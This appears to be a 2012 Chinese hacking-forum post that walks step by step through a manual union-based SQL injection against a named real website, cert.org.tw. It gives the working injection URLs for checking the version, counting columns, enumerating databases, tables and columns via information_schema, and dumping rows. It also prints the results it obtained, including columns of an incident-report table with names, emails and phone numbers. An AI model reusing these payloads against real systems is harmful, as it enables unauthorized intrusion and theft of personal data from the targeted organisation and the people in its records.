找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1819|回复: 0
打印 上一主题 下一主题

.高级暴库方法讲解

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:57:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询0 T; O$ w5 E- T; o3 B8 X
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解- I' L% e+ s! h5 a
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
: c) `+ H* @1 H3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
6 {, K- M& {+ F7 n+ I( H' s数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。3 S' ?/ f! _/ c  i. a+ K( r
4.判断有没有写权限
/ b3 b/ r3 m* G% Chttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
& ]. u$ o# x0 H0 L1 N6 H没办法,手动猜表啦
, e  J7 M0 m) x! v5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1* w$ Y/ W/ Z! q5 D4 j
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下3 D9 }& |. m0 F) a7 ]
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--2 `! U+ I3 D- U( Q' {" N5 d- L
成功查出所有数据库,国外的黑客就是不一般。数据库如下:* m- Y7 Y# u4 Z: a& S
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb8 K" T+ H5 d! f+ N5 n8 O
6.爆表,爆的是twcert库
. }: c& e7 L6 c8 v( |) lhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
8 V0 u; j( T" h* i( b! L2 m爆出如下表
8 r9 i8 W. ~. Z7 Pdownloadfile,irsys,newsdata,secrpt,secrpt_big5
% u1 |) H  o) l9 R& m8 ^$ C- m7.爆列名,这次爆的是irsys表
4 `/ w2 n4 ^  x: [( Q$ D& Ghttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
8 W0 K( a( b! O: P6 P4 P5 i爆出如下列
% r" Z1 F" E  t& d& W% u8 F) Dir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status2 S% n8 c+ C% L1 N
8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。7 x* l2 @/ J  |
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--/ P& |9 H( d" [" E+ F" {
返回是3,说明每个列里有3个地段
* f1 {9 S" D- X9.爆字段内容
( D- I5 c+ g6 v$ {5 A! Fhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--6 i; v0 U! L0 [9 p) h
爆出name列的第一个字段的内容
' \: K  A! M) b6 e" k5 X2 thttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--1 z8 W6 r! |+ v2 g; Y; x5 S
爆出name列的第二个字段的内容
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表